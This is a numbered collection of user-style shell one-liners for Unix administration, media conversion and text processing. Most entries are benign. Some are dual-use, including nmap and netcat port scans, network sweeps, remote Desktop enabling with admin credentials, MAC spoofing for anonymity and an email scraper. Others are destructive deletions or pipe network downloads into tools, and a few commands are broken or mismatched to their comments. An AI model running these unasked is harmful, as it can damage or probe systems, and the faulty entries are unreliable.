3281ps axo rss,comm,pid | awk '{ proc_list[$2]++; proc_list[$2 "," 1] += $1; } END { for (proc in proc_list) { printf("%d\t%s\n", proc_list[proc "," 1],proc); }}' | sort -n | tail -n 10
3282
3283# split and combine different pages from different pdf's
3284pdftk A=chapters.pdf B=headings.pdf C=covers.pdf cat C1 B1 A1-7 B2 A8-10 C2 output book.pdf
3285
3286# Get all mac address
3287ip link show
3288
3289# Recursively remove .svn directories
3290find . -type d -name .svn -delete
3291
3292# Upload image to www.imageshack.us
3293function upimage { curl -H Expect: -F fileupload="@$1" -F xml=yes -# "http://www.imageshack.us/index.php" | grep image_link | grep -o http[^\<]*; }
3294
3295# Print Memory Utilization Percentage For a specific process and it's children
3296TOTAL_RAM=`free | head -n 2 | tail -n 1 | awk '{ print $2 }'`; PROC_RSS=`ps axo rss,comm | grep [h]ttpd | awk '{ TOTAL += $1 } END { print TOTAL }'`; PROC_PCT=`echo "scale=4; ( $PROC_RSS/$TOTAL_RAM ) * 100" | bc`; echo "RAM Used by HTTP: $PROC_PCT%"
3297
3298# Extract audio from start to end position from a video
3299mplayer -vc null -vo null -ao pcm <input video file> -ss <start> -endpos <end>
3300
3301# tail: watch a filelog
3302tail -n 50 -f /var/log/apache2/access_log /var/log/apache2/error_log
3303
3304# Numerically sorted human readable disk usage
3305du -x --max-depth=1 | sort -n | awk '{ print $2 }' | xargs du -hx --max-depth=0
3306
3307# Type a random string into a X11 window
3308sleep 3 && xdotool type --delay 0ms texthere
3309
3310
3311
3312# Introduction to user commands
3313man intro
3314
3315# shows the full path of shell commands
3316which command
3317
3318# convert a line to a space
3319cat file | tr '\n' ''
3320
3321# Clean way of re-running bash startup scripts.
3322exec bash
3323
3324# Pipe text from shell to windows cut and paste buffer using PuTTY and XMing.
3325echo "I'm going to paste this into WINDERS XP" | xsel -i
3326
3327# Weather on the Command line
3328lynx -dump http://api.wunderground.com/weatherstation/WXCurrentObXML.asp?ID=KCALOSAN32 | grep GMT | awk '{print $3}'
3329
3330# Facebook Email Scraper
3331fbemailscraper YourFBEmail Password
3332
3333# Using numsum to sum a column of numbers.
3334numsum count.txt
3335
3336# Activate Remote Desktop REMOTELY!!!
3337wmic /node:"RemoteServer" /user:"domain\AdminUser" /password:"password" RDToggle where servername="RemoteServer" call SetAllowTSConnections 1
3338
3339# Query Wikipedia via console over DNS
3340mwiki () { blah=`echo $@ | sed -e 's/ /_/g'`; dig +short txt $blah.wp.dg.cx; }
3341
3342# Remove everything except that file
3343find . ! -name <FILENAME> -delete
3344
3345# Remove everything except that file
3346( shopt -s extglob; rm !(<PATTERN>) )
3347
3348# Remove today's Debian installed packages
3349grep -e `date +%Y-%m-%d` /var/log/dpkg.log | awk '/install / {print $4}' | uniq | xargs apt-get -y remove
3350
3351# Lookup your own IPv4 address
3352dig +short myip.opendns.com @resolver1.opendns.com
3353
3354# List all authors of a particular git project
3355git log --format='%aN' | sort -u
3356
3357# Chage default shell for all users [FreeBSD]
3358cd /usr/home && for i in *;do chsh -s bash $i;done
3359
3360# Copy a file over SSH without SCP
3361ssh HOST cat < LOCALFILE ">" REMOTEFILE
3362
3363# Print trending topics on Twitter
3364curl --silent search.twitter.com | sed -n '/div id=\"hot\"/,/div/p' | awk -F\> '{print $2}' | awk -F\< '{print $1}' | sed '/^$/d'
3365
3366# Extract tarball from internet without local saving
3367curl http://example.com/a.gz | tar xz
3368
3369# scan folder to check syntax error in php files
3370find . -name "*.php" -exec php -l {} \;
3371
3372# count and number lines of output, useful for counting number of matches
3373ps aux | grep [a]pache2 | nl
3374
3375# Upgrade all perl modules via CPAN
3376cpan -r
3377
3378# List all TCP opened ports on localhost in LISTEN mode
3379netstat -nptl
3380
3381# list all opened ports on host
3382sudo lsof -P -i -n -sTCP:LISTEN
3383
3384# Send a local file via email
3385mpack -s "Backup: $file" "$file" email@id.com
3386
3387
3388
3389# list all opened ports on host
3390nmap -p 1-65535 --open localhost
3391
3392# Convert wmv into avi
3393mencoder infile.wmv -ofps 23.976 -ovc lavc -oac copy -o outfile.avi
3394
3395# Determining the excat memory usages by certain PID
3396pmap -d <<pid>>
3397
3398# generate random password
3399openssl rand -base64 6
3400
3401# Convert encoding of given files from one encoding to another
3402iconv -f utf8 -t utf16 /path/to/file
3403
3404# Start another X session in a window
3405startx -- /usr/bin/Xephyr :2
3406
3407# Locking and unlocking files and mailboxes
3408lockfile
3409
3410# Plot frequency distribution of words from files on a terminal.
3411cat *.c | { printf "se te du\nplot '-' t '' w dots\n"; tr '[[:upper:]]' '[[:lower:]]' | tr -s [[:punct:][:space:]] '\n' | sort | uniq -c | sort -nr | head -n 100 | awk '{print $1}END{print "e"}'; } | gnuplot
3412
3413# Short Information about loaded kernel modules
3414awk '{print $1}' "/proc/modules" | xargs modinfo | awk '/^(filename|desc|depends)/'
3415
3416# Short Information about loaded kernel modules
3417modinfo $(cut -d' ' -f1 /proc/modules) | sed '/^dep/s/$/\n/; /^file\|^desc\|^dep/!d'
3418
3419# Shows you how many hours of avi video you have.
3420/usr/share/mplayer/midentify.sh `find . -name "*.avi" -print` | grep ID_LENGTH | awk -F "=" '{sum += $2} END {print sum/60/60; print "hours"}'
3421
3422# Output Detailed Process Tree for any User
3423psu(){ command ps -Hcl -F S f -u ${1:-$USER}; }
3424
3425# Create subdirectory and move files into it
3426(ls; mkdir subdir; echo subdir) | xargs mv
3427
3428# Commit only newly added files to subversion repository
3429svn ci `svn stat |awk '/^A/{printf $2" "}'`
3430
3431# Use the arguments used in the last command
3432mkdir !*
3433
3434# Display GCC Predefined Macros
3435gcc -dM -E - <<<''
3436
3437# Enable cd by variable names
3438shopt -s cdable_vars
3439
3440# Show current weather for any US city or zipcode
3441weather() { lynx -dump "http://mobile.weather.gov/port_zh.php?inputstring=$*" | sed 's/^ *//;/ror has occ/q;2h;/__/!{x;s/\n.*//;x;H;d};x;s/\n/ -- /;q';}
3442
3443# tail, with specific pattern colored
3444tail -F file | egrep --color 'pattern|$'
3445
3446# validate the syntax of a perl-compatible regular expression
3447perl -we 'my $regex = eval {qr/.*/}; die "$@" if $@;'
3448
3449# Perform sed substitution on all but the last line of input
3450sed -e "$ ! s/$/,/"
3451
3452# Count the total number of files in each immediate subdirectory
3453find . -type f -printf "%h\n" | cut -d/ -f-2 | sort | uniq -c | sort -rn
3454
3455# Comment out a line in a file
3456sed -i '19375 s/^/#/' file
3457
3458# Refresh the cache of font directory
3459sudo fc-cache -f -v
3460
3461# Insert a comment on command line for reminder
3462ls -alh #mycomment
3463
3464
3465
3466# A little bash daemon =)
3467echo "Starting Daemon"; ( while :; do sleep 15; echo "I am still running =]"; done ) & disown -h -ar $!
3468
3469# Create a single-use TCP proxy with debug output to stderr
3470socat -v tcp4-l:<port> tcp4:<host>:<port>
3471
3472# find . -name
3473find . -name "*.txt" -exec sed -i "s/old/new/" {} \;
3474
3475# Get the total length of all videos in the current dir in H:m:s
3476mplayer -vo dummy -ao dummy -identify * 2>&1 | grep ID_LENGTH | sed 's/.*=\([0-9]*\)/\1/' | xargs echo | sed 's/ /+/g' | bc | awk 'S=$1; {printf "%dh:%dm:%ds\n",S/(60*60),S%(60*60)/60,S%60}'
3477
3478# Quick command line math
3479expr 512 \* 7
3480
3481# Show apps that use internet connection at the moment.
3482netstat -lantp | grep -i establ | awk -F/ '{print $2}' | sort | uniq
3483
3484# Ping Twitter to check if you can connect
3485wget http://twitter.com/help/test.json -q -O -
3486
3487# Record audio and video from webcam using mencoder
3488mencoder tv:// -tv driver=v4l2:width=800:height=600:device=/dev/video0:fps=30:outfmt=yuy2:forceaudio:alsa:adevice=hw.2,0 -ovc lavc -lavcopts vcodec=mpeg4:vbitrate=1800 -ffourcc xvid -oac mp3lame -lameopts cbr=128 -o output.avi
3489
3490# View webcam output using mplayer
3491mplayer tv:// -tv driver=v4l2:width=640:height=480:device=/dev/video0:fps=30:outfmt=yuy2
3492
3493# Happy Days
3494echo {'1,2,3',4}" o'clock" ROCK
3495
3496# no more line wrapping in your terminal
3497function nowrap { export COLS=`tput cols` ; cut -c-$COLS ; unset COLS ; }
3498
3499# Convert multiple files using avidemux
3500for i in `ls`;do avidemux --video-codec Xvid4 --load $i --save $i.mp4 --quit; done
3501
3502# Edit your command in vim ex mode by <ctrl-f>
3503<ctrl-f> in ex mode in vim
3504
3505# When was your OS installed?
3506ls -lct /etc/ | tail -1 | awk '{print $6, $7, $8}'
3507
3508# How to know the total number of packages available
3509apt-cache stats
3510
3511# Create a large test file (taking no space).
3512dd bs=1 seek=2TB if=/dev/null of=ext3.test
3513
3514# List of reverse DNS records for a subnet
3515nmap -R -sL 209.85.229.99/27 | awk '{if($3=="not")print"("$2") no PTR";else print$3" is "$2}' | grep '('
3516
3517# Find files that were modified by a given command
3518strace <name of the program>
3519
3520# Parallel file downloading with wget
3521wget -nv http://en.wikipedia.org/wiki/Linux -O- | egrep -o "http://[^[:space:]]*.jpg" | xargs -P 10 -r -n 1 wget -nv
3522
3523# How to run a command on a list of remote servers read from a file
3524dsh -M -c -f servers -- "command HERE"
3525
3526# Get Dollar-Euro exchage rate
3527curl -s wap.kitco.com/exrate.wml | awk ' BEGIN { x=0; FS = "<" } { if ($0~"^<br/>") {x=0} if (x==1) {print $1} if ($0~"EUR/US") {x=1} }'
3528
3529# get the latest version
3530mirror=ftp://somemirror.com/with/alot/versions/but/no/latest/link; latest=$(curl -l $mirror/ 2>/dev/null | grep util | tail -1); wget $mirror/$latest
3531
3532# Remotely sniff traffic and pass to snort
3533ssh root@pyramid \ "tcpdump -nn -i eth1 -w -" | snort -c /etc/snort/snort.conf -r -
3534
3535# Copy structure
3536structcp(){ ( mkdir -pv $2;f="$(realpath "$1")";t="$(realpath "$2")";cd "$f";find * -type d -exec mkdir -pv $t/{} \;);}
3537
3538# Print a random 8 digit number
3539jot -r -n 8 0 9 | rs -g 0
3540
3541
3542
3543# Remove empty directories
3544find . -type d -empty -delete
3545
3546# Show GCC-generated optimization commands when using the "-march=native" or "-mtune=native" switches for compilation.
3547cc -march=native -E -v - </dev/null 2>&1 | grep cc1
3548
3549# for all who don't have the watch command
3550watch() { while test :; do clear; date=$(date); echo -e "Every "$1"s: $2 \t\t\t\t $date"; $2; sleep $1; done }
3551
3552# Terminal redirection
3553script -f /dev/pts/3
3554
3555# Convert deb to rpm
3556alien -r -c file.deb
3557
3558# grep certain file types recursively
3559find . -name "*.[ch]" | xargs grep "TODO"
3560
3561# On Mac OS X, runs System Profiler Report and e-mails it to specified address.
3562system_profiler | mail -s "$HOSTNAME System Profiler Report" user@domain.com
3563
3564# Get a regular updated list of zombies
3565watch "ps auxw | grep 'defunct' | grep -v 'grep' | grep -v 'watch'"
3566
3567# Picture Renamer
3568jhead -n%Y%m%d-%H%M%S *.jpg
3569
3570# Define an alias with a correct completion
3571old='apt-get'; new="su-${old}"; command="sudo ${old}"; alias "${new}=${command}"; $( complete | sed -n "s/${old}$/${new}/p" ); alias ${new}; complete -p ${new}
3572
3573# Get your external IP address if your machine has a DNS entry
3574dig +short $HOSTNAME
3575
3576# get time in other timezones
3577tzwatch
3578
3579# benchmark web server with apache benchmarking tool
3580ab -n 9000 -c 900 localhost:8080/index.php
3581
3582# Go to parent directory of filename edited in last command
3583cd `dirname $_`
3584
3585# grep (or anything else) many files with multiprocessor power
3586find . -type f -print0 | xargs -0 -P 4 -n 40 grep -i foobar
3587
3588# Sort your music
3589for file in *.mp3;do mkdir -p "$(mp3info -p "%a/%l" "$file")" && ln -s "$file" "$(mp3info -p "%a/%l/%t.mp3" "$file")";done
3590
3591# convert a web page into a pdf
3592touch $2;firefox -print $1 -printmode PDF -printfile $2
3593
3594# concat multiple videos into one (and add an audio track)
3595cat frame/*.mpeg | ffmpeg -i $ID.mp3 -i - -f dvd -y track/$ID.mpg 2>/dev/null
3596
3597# convert (almost) any image into a video
3598ffmpeg -loop_input -f image2 -r 30000/1001 -t $seconds -i frame/$num.ppm -y frame/%02d.mpeg 2>/dev/null
3599
3600# Create AUTH PLAIN string to test SMTP AUTH session
3601printf '\!:1\0\!:1\0\!:2' | mmencode | tr -d '\n' | sed 's/^/AUTH PLAIN /'
3602
3603# get a desktop notification from the terminal
3604alias z='zenity --info --text="You will not believe it, but your command has finished now! :-)" --display :0.0'
3605
3606# Who invoked me? / Get parent command
3607ps -o comm= -p $(ps -o ppid= -p $$)
3608
3609# Cap apt-get download speed
3610sudo apt-get -o Acquire::http::Dl-Limit=25 install <package>
3611
3612# Sort IPV4 ip addresses
3613sort -t. -k1,1n -k2,2n -k3,3n -k4,4n
3614
3615# Save man pages to pdf
3616man -t man | ps2pdf - > man.pdf
3617
3618
3619
3620# ssh autocomplete
3621complete -W "$(echo `cat ~/.ssh/known_hosts | cut -f 1 -d ' ' | sed -e s/,.*//g | uniq | grep -v "\["`;)" ssh
3622
3623# Encrypted archive with openssl and tar
3624tar c folder_to_encrypt | openssl enc -aes-256-cbc -e > secret.tar.enc
3625
3626# Mount a partition from within a complete disk dump
3627lomount -diskimage /path/to/your/backup.img -partition 1 /mnt/foo
3628
3629# Takes an html file and outputs plain text from it
3630lynx -dump somefile.html
3631
3632# Resets your MAC to a random MAC address to make you harder to find.
3633ran=$(head /dev/urandom | md5sum); MAC=00:07:${ran:0:2}:${ran:3:2}:${ran:5:2}:${ran:7:2}; sudo ifconfig wlan0 down hw ether $MAC; sudo ifconfig wlan0 up; echo ifconfig wlan0:0
3634
3635# zsh only: access a file when you don't know the path, if it is in PATH
3636file =top
3637
3638# A bit of privacy in .bash_history
3639export HISTCONTROL=ignoreboth
3640
3641# Format ps command output
3642ps ax -o "%p %U %u %x %c %n"
3643
3644# Using the urxvt terminal daemon
3645urxvtd -q -o -f
3646
3647# ignore hidden directory in bash completion (e.g. .svn)
3648bind 'set match-hidden-files off'
3649
3650# Search through files, ignoring .svn
3651find . -not \( -name .svn -prune \) -type f -print0 | xargs --null grep <searchTerm>
3652
3653# Colorize matching string without skipping others
3654egrep --color=auto 'usb|' /var/log/messages
3655
3656# List programs with open ports and connections
3657netstat -ntauple
3658
3659# quickly backup or copy a file with bash
3660cp -bfS.bak filename filename
3661
3662# stop windows update
3663runas /user:administrator net stop wuauserv
3664
3665# Update your OpenDNS network ip
3666wget -q --user=<username> --password=<password> 'https://updates.opendns.com/nic/update?hostname=your_opendns_hostname&myip=your_ip' -O -
3667
3668# show installed but unused linux headers, image, or modules
3669dpkg -l 'linux-*' | sed '/^ii/!d;/'"$(uname -r | sed "s/\(.*\)-\([^0-9]\+\)/\1/")"'/d;s/^[^ ]* [^ ]* \([^ ]*\).*/\1/;/[0-9]/!d'
3670
3671# detach remote console for long running operations
3672dtach -c /tmp/wires-mc mc
3673
3674# Paste the contents of OS X clipboard into a new text file
3675pbpaste > newfile.txt
3676
3677# extract email adresses from some file (or any other pattern)
3678grep -Eio '([[:alnum:]_.]+@[[:alnum:]_]+?\.[[:alpha:].]{2,6})' file.html
3679
3680# Count to 65535 in binary (for no apparent reason)
3681a=`printf "%*s" 16`;b=${a//?/{0..1\}}; echo `eval "echo $b"`
3682
3683# For a $FILE, extracts the path, filename, filename without extension and extension.
3684FILENAME=`echo ${FILE##*/}`;FILEPATH=`echo ${FILE%/*}`;NOEXT=`echo ${FILENAME%\.*}`;EXT=`echo ${FILE##*.}`
3685
3686# Huh? Where did all my precious space go ?
3687ls -la | sort -k 5bn
3688
3689# Convert the output of one or more (log, source code ...) files into html,
3690enscript -E --color -t "title" -w html --toc -p /PATH/to/output.html /var/log/*log
3691
3692# Monitor logs in Linux using Tail
3693find /var/log -type f -exec file {} \; | grep 'text' | cut -d' ' -f1 | sed -e's/:$//g' | grep -v '[0-9]$' | xargs tail -f
3694
3695
3696
3697# Get yesterday's date or a previous time
3698date -d '1 day ago'; date -d '11 hour ago'; date -d '2 hour ago - 3 minute'; date -d '16 hour'
3699
3700# Randomize lines in a file
3701awk 'BEGIN{srand()}{print rand(),$0}' SOMEFILE | sort -n | cut -d ' ' -f2-
3702
3703# Zip a directory on Mac OS X and ignore .DS_Store (metadata) directory
3704zip -vr example.zip example/ -x "*.DS_Store"
3705
3706# Filter IPs out of files
3707egrep -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' file.txt
3708
3709# display typedefs, structs, unions and functions provided by a header file
3710cpp /usr/include/stdio.h | grep -v '^#' | grep -v '^$' | less
3711
3712# What is My WAN IP?
3713curl -s checkip.dyndns.org | grep -Eo '[0-9\.]+'
3714
3715# Skip over .svn directories when using the "find" command.
3716find . -not \( -name .svn -prune \)
3717
3718# Notify me when users log in
3719notifyme -C `cat /etc/passwd | cut -d: -f1`
3720
3721# Simplification of "sed 'your sed stuff here' file > file2 && mv file2 file"
3722sed -i 'your sed stuff here' file
3723
3724# Function that counts recursively number of lines of all files in specified folders
3725count() { find $@ -type f -exec cat {} + | wc -l; }
3726
3727# Check if a process is running
3728kill -0 [pid]
3729
3730# Send a binary file as an attachment to an email
3731uuencode archive.tar.gz archive.tar.gz | mail -s "Emailing: archive.tar.gz" user@example.com
3732
3733# Record live sound in Vorbis (eg for bootlegs or to take audio notes)
3734rec -c 2 -r 44100 -s -t wav - | oggenc -q 5 --raw --raw-chan=2 --raw-rate=44100 --raw-bits=16 - > MyLiveRecording.ogg
3735
3736# Go to the next sibling directory in alphabetical order
3737for d in `find .. -mindepth 1 -maxdepth 1 -type d | sort`; do if [[ `basename $d` > `basename $PWD` ]]; then cd $d; break; fi; done
3738
3739# Dumping Audio stream from flv (using mplayer)
3740$ mplayer -dumpaudio -dumpfile <filename>.mp3 <filename>.flv
3741
3742# Validate and pretty-print JSON expressions.
3743echo '{"json":"obj"}' | python -m simplejson.tool
3744
3745# en/decrypts files in a specific directory
3746for a in path/* ; do ccenrypt -K <password> $a; done
3747
3748# Random line from bash.org (funny IRC quotes)
3749curl -s http://bash.org/?random1|grep -oE "<p class=\"quote\">.*</p>.*</p>"|grep -oE "<p class=\"qt.*?</p>"|sed -e 's/<\/p>/\n/g' -e 's/<p class=\"qt\">//g' -e 's/<p class=\"qt\">//g'|perl -ne 'use HTML::Entities;print decode_entities($_),"\n"'|head -1
3750
3751# Which fonts are installed?
3752fc-list | cut -d ':' -f 1 | sort -u
3753
3754# Scale,Rotate, brightness, contrast,...with Image Magick
3755convert -rotate $rotate -scale $Widthx$Height -modulate $brightness -contrast $contrast -colorize $red%,$green%,$blue% $filter file_in.png file_out.png
3756
3757# Replace Solaris vmstat numbers with human readable format
3758vmstat 1 10 | /usr/xpg4/bin/awk -f ph-vmstat.awk
3759
3760# Find status of all symlinks
3761symlinks -r $(pwd)
3762
3763# Convert a flv video file to avi using mencoder
3764mencoder your_video.flv -oac mp3lame -ovc xvid -lameopts preset=standard:fast -xvidencopts pass=1 -o your_video.avi
3765
3766# Show the UUID of a filesystem or partition
3767sudo vol_id -u /dev/sda1
3768
3769# Avoiding history file to be overwritten
3770shopt -s histappend
3771
3772
3773
3774# Apache memory usage
3775ps auxf | grep httpd | grep -v grep | grep -v defunct | awk '{sum=sum+$6}; END {print sum/1024}'
3776
3777# Securely destroy data (including whole hard disks)
3778shred targetfile
3779
3780# output list of modifications for an svn revision
3781svn log $url -r $revision -v | egrep " [RAMD] \/" | sed s/^.....//
3782
3783# Propagate a directory to another and create symlink to content
3784lndir sourcedir destdir
3785
3786# need ascii art pictures for you readme text ?
3787boxes -d dog or cowsay -f tux $M
3788
3789# decoding Active Directory date format
3790ldapsearch -v -H ldap://<server> -x -D cn=<johndoe>,cn=<users>,dc=<ourdomain>,dc=<tld> -w<secret> -b ou=<lazystaff>,dc=<ourdomain>,dc=<tld> -s sub sAMAccountName=* '*' | perl -pne 's/(\d{11})\d{7}/"DATE-AD(".scalar(localtime($1-11644473600)).")"/e'
3791
3792# Find a file's package or list a package's contents.
3793dlocate [ package | string ]
3794
3795# Mount directories in different locations
3796mount --bind /old/directory/path /new/directory/path
3797
3798# Eliminate dead symlinks interactively in /usr/ recursevely
3799find /usr/ -type l ! -xtype f ! -xtype d -ok rm -f {} \;
3800
3801# Show the power of the home row on the Dvorak Keyboard layout
3802egrep -ci ^[aoeuidhtns-]+$ /usr/share/dict/words
3803
3804# get the top 10 longest filenames
3805find | sed -e "s/^.*\///" | awk ' BEGIN { FS=""} { print NF " " $0 } ' | sort -nrf | head -10
3806
3807# Quick case-insenstive partial filename search
3808alias lg='ls --color=always | grep --color=always -i'
3809
3810# Search for a word in less
3811\bTERM\b
3812
3813# Identify name and resolution of all jpgs in current directory
3814identify -verbose *.jpg|grep "\(Image:\|Resolution\)"
3815
3816# Get information about a video file
3817mplayer -vo dummy -ao dummy -identify your_video.avi
3818
3819# Remove today's installed packages
3820grep "install " /var/log/dpkg.log | awk '{print $4}' | xargs apt-get -y remove --purge
3821
3822# See most used commands
3823history|awk '{print $2}'|awk 'BEGIN {FS="|"} {print $1}'|sort|uniq -c|sort -r
3824
3825# Show the date of easter
3826ncal -e
3827
3828# automount samba shares as devices in /mnt/
3829sudo vi /etc/fstab; Go//smb-share/gino /mnt/place smbfs defaults,username=gino,password=pass 0 0<esc>:wq; mount //smb-share/gino
3830
3831# Show the 20 most CPU/Memory hungry processes
3832ps aux | sort +2n | tail -20
3833
3834# Generate random passwords (from which you may select "memorable" ones)
3835pwgen
3836
3837# Download from Rapidshare Premium using wget - Part 1
3838wget --save-cookies ~/.cookies/rapidshare --post-data "login=USERNAME&password=PASSWORD" -O - https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi > /dev/null
3839
3840# Move all comments the top of the file in vim
3841:g:^\s*#.*:m0
3842
3843# add a gpg key to aptitute package manager in a ubuntu system
3844wget -q http://xyz.gpg -O- | sudo apt-key add -
3845
3846# Calculating series with awk: add numbers from 1 to 100
3847seq 100 | awk '{sum+=$1} END {print sum}'
3848
3849
3850
3851# Print out a man page
3852man -t man | lp
3853
3854# Record your desktop
3855xvidcap --file filename.mpeg --fps 15 --cap_geometry 1680x1050+0+0 --rescale 25 --time 200.0 --start_no 0 --continue yes --gui no --auto
3856
3857# Show all machines on the network
3858nmap 192.168.0-1.0-255 -sP
3859
3860# copy/mkdir and automatically create parent directories
3861cp --parents /source/file /target-dir
3862
3863# Convert .flv to .3gp
3864ffmpeg -i file.flv -r 15 -b 128k -s qcif -acodec amr_nb -ar 8000 -ac 1 -ab 13 -f 3gp -y out.3gp
3865
3866# watch iptables counters
3867watch 'iptables -vL'
3868
3869# Sort files by size
3870ls -l | sort -nk5
3871
3872# Gets the last string of previous command with !$
3873$mkdir mydir -> mv !$ yourdir -> $cd !$
3874
3875# Show directories in the PATH, one per line
3876( IFS=:; for p in $PATH; do echo $p; done )
3877
3878# Substitute spaces in filename with underscore
3879ls -1 | rename 's/\ /_/'
3880
3881# Debug bash shell scripts.
3882bash -x SCRIPT
3883
3884# kill all processes using a directory/file/etc
3885lsof|grep /somemount/| awk '{print $2}'|xargs kill
3886
3887# List all process running a specfic port
3888sudo lsof -i :<port>
3889
3890# list all executables in your path
3891ls `echo $PATH | sed 's/:/ /g'`
3892
3893# Tweak system files without invoking a root shell
3894echo "Whatever you need" | sudo tee [-a] /etc/system-file.cfg
3895
3896# Create a self-extracting archive for win32 using 7-zip
3897cat /path/to/7z.sfx /path/to/archive > archive.exe
3898
3899# Delete files older than..
3900find /dir_name -mtime +5 -exec rm {} \
3901
3902# Show latest changed files
3903ls -ltcrh
3904
3905# lsof equivalent on solaris
3906/usr/proc/bin/pfiles $PID
3907
3908# Batch resize all images in the current directory that are bigger than 800px, height or weight.
3909mogrify -resize 800\> *
3910
3911# Convert video files to XviD
3912mencoder "$1" -ofps 23.976 -ovc lavc -oac copy -o "$1".avi
3913
3914# Resize A Mounted EXT3 File System
3915v=/dev/vg0/lv0; lvextend -L+200G $v && resize2fs $v
3916
3917# VMware Server print out the state of all registered Virtual Machines.
3918for vm in $(vmware-cmd -l);do echo -n "${vm} ";vmware-cmd ${vm} getstate|awk '{print $2 " " $3}';done
3919
3920# Mount proc
3921mount -t proc{,,}
3922
3923# Load another file in vim
3924:split <file>
3925
3926
3927
3928# Create an ISO Image from a folder and burn it to CD
3929hdiutil makehybrid -o CDname.iso /Way/to/folder ; hdiutil burn CDname.iso
3930
3931# netcat as a portscanner
3932nc -v -n -z -w 1 127.0.0.1 22-1000
3933
3934# Random play a mp3 file
3935mpg123 "`locate -r '\.mp3$'|awk '{a[NR]=$0}END{print a['"$RANDOM"' % NR]}'`"
3936
3937# split a string (1)
3938ARRAY=(aa bb cc);echo ${ARRAY[1]}
3939
3940# restore the contents of a deleted file for which a descriptor is still available
3941N="filepath" ; P=/proc/$(lsof +L1 | grep "$N" | awk '{print $2}')/fd ; ls -l $P | sed -rn "/$N/s/.*([0-9]+) ->.*/\1/p" | xargs -I_ cat $P/_ > "$N"
3942
3943# Unix alias for date command that lets you create timestamps in ISO 8601 format
3944alias timestamp='date "+%Y%m%dT%H%M%S"'
3945
3946# Find the processes that are on the runqueue. Processes with a status of
3947ps -eo stat,pid,user,command | egrep "^STAT|^D|^R"
3948
3949# ps a process keeping the header info so you know what the columns of numbers mean!
3950ps auxw |egrep "PID|process_to_look_at"
3951
3952# count processes with status "D" uninterruptible sleep
3953top -b -n 1 | awk '{if (NR <=7) print; else if ($8 == "D") {print; count++} } END {print "Total status D: "count}'
3954
3955# nmap IP block and autogenerate comprehensive Nagios service checks
3956nmap -sS -O -oX /tmp/nmap.xml 10.1.1.0/24 -v -v && perl nmap2nagios.pl -v -r /tmp/10net.xml -o /etc/nagios/10net.cfg
3957
3958# HTTP redirect
3959while [ 0 ]; do echo -e "HTTP/1.1 302 Found\nLocation: http://www.whatevs.com/index.html" | nc -vvvv -l -p 80; done
3960
3961# open a seperate konsole tab and ssh to each of N servers (konsole 4.2+)
3962for i in $(cat listofservers.txt); do konsole --new-tab -e ssh $i; done
3963
3964# take execution time of several commands
3965time { <command1> ; <command2> ; <command...> ; }
3966
3967# Convert file type to unix utf-8
3968ex some_file "+set ff=unix fileencoding=utf-8" "+x"
3969
3970# Summarize Apache Extended server-status to show longest running requests
3971links --dump 1 http://localhost/server-status|grep ^[0-9]|awk 'BEGIN {print "Seconds, PID, State, IP, Domain, TYPE, URL\n--"} $4 !~ /[GCRK_.]/ {print $6, $2, $4, $11, $12, $13 " " $14|"sort -n"}'
3972
3973# Count down from 10
3974for (( i = 10; i > 0; i-- )); do echo "$i"; sleep 1; done
3975
3976# diff two sorted files
3977diff <(sort file1.txt) <(sort file2.txt)
3978
3979# Command line progress bar
3980tar zcf - user | pv /bin/gzip > /tmp/backup.tar.gz
3981
3982# Cleanup Python bytecode files
3983find . -name "*.py[co]" -exec rm -f {} \;
3984
3985# Change the ownership of all files owned by one user.
3986find /home -uid 1056 -exec chown 2056 {} \;
3987
3988# Find all the files more than 10MB, sort in descending order of size and record the output of filenames and size in a text file.
3989find . -size +10240k -exec ls -l {} \; | awk '{ print $5,"",$9 }'|sort -rn > message.out
3990
3991# Forward port 8888 to remote machine for SOCKS Proxy
3992ssh -D 8888 user@site.com
3993
3994# for newbies, how to get one line info about all /bin programs
3995ls -1 /bin | xargs -l1 whatis 2>/dev/null | grep -v "nothing appropriate"
3996
3997# Compress files found with find
3998find ~/bin/ -name "*sh" -print0 | xargs -0t tar -zcvf foofile.tar.gz
3999
4000# Convert Unix newlines to DOS newlines
4001sed 's/$/<ctrl+v><ctrl+m>/'
4002
4003
4004
4005# gpg encrypt a file
4006gpg --encrypt --recipient 'Foo Bar' foo.txt
4007
4008# Open up a man page as PDF (#OSX)
4009function man2pdf(){ man -t ${1:?Specify man as arg} | open -f -a preview; }
4010
4011# Know which modules are loaded on an Apache server
4012apache2 -t -D DUMP_MODULES
4013
4014# Do a command but skip recording it in the bash command history
4015_cd ~/nsfw; mplayer midget_donkey.mpeg
4016
4017# Lists all directories under the current dir excluding the .svn directory and its contents
4018find . \( -type d -name .svn -prune \) -o -type d -print
4019
4020# Tired of switching between proxy and no proxy? here's the solution.
4021iptables -t nat -A OUTPUT -d ! 10.0.0.0/8 -p tcp --dport 80 -j DNAT --to-destination 10.1.1.123:3128
4022
4023# Unixtime
4024date +%s
4025
4026# take a look to command before action
4027find /tmp -type f -printf 'rm "%p";\n'
4028
4029# Add existing user to a group
4030usermod -a -G groupname username
4031
4032# Generate diff of first 500 lines of two files
4033diff <(head -500 product-feed.xml) <(head -500 product-feed.xml.old)
4034
4035# Remove EXIF data from images with progress
4036i=0; f=$(find . -type f -iregex ".*jpg");c=$(echo $f|sed "s/ /\n/g"| wc -l);for x in $f;do i=$(($i + 1));echo "$x $i of $c"; mogrify -strip $x;done
4037
4038# Look for IPv4 address in files.
4039alias ip4grep "grep -E '([0-9]{1,3}\.){3}[0-9]{1,3}'"
4040
4041# Undo several commits by committing an inverse patch.
4042git diff HEAD..rev | git apply --index; git commit
4043
4044# fuman, an alternative to the 'man' command that shows commandlinefu.com examples
4045fuman(){ lynx -width=$COLUMNS -nonumbers -dump "http://www.commandlinefu.com/commands/using/$1" |sed '/Add to favourites/,/This is sample output/!d' |sed 's/ *Add to favourites/----/' |less -r; }
4046
4047# Get My Public IP Address
4048wget -qO - http://myip.dk/ | egrep -m1 -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'
4049
4050# Reconnect to screen without disconnecting other sessions
4051screen -xR
4052
4053# Clear mistyped passwords from password prompt
4054^u
4055
4056# Find and list users who talk like "lolcats"
4057cd ~/.purple/logs/; egrep -ri "i can haz|pwn|l33t|w00|zomg" * | cut -d'/' -f 3 | sort | uniq | xargs -I {} echo "Note to self: ban user '{}'"
4058
4059# Add all unversioned files to svn
4060svn st | grep "^\?" | awk "{print \$2}" | xargs svn add $1
4061
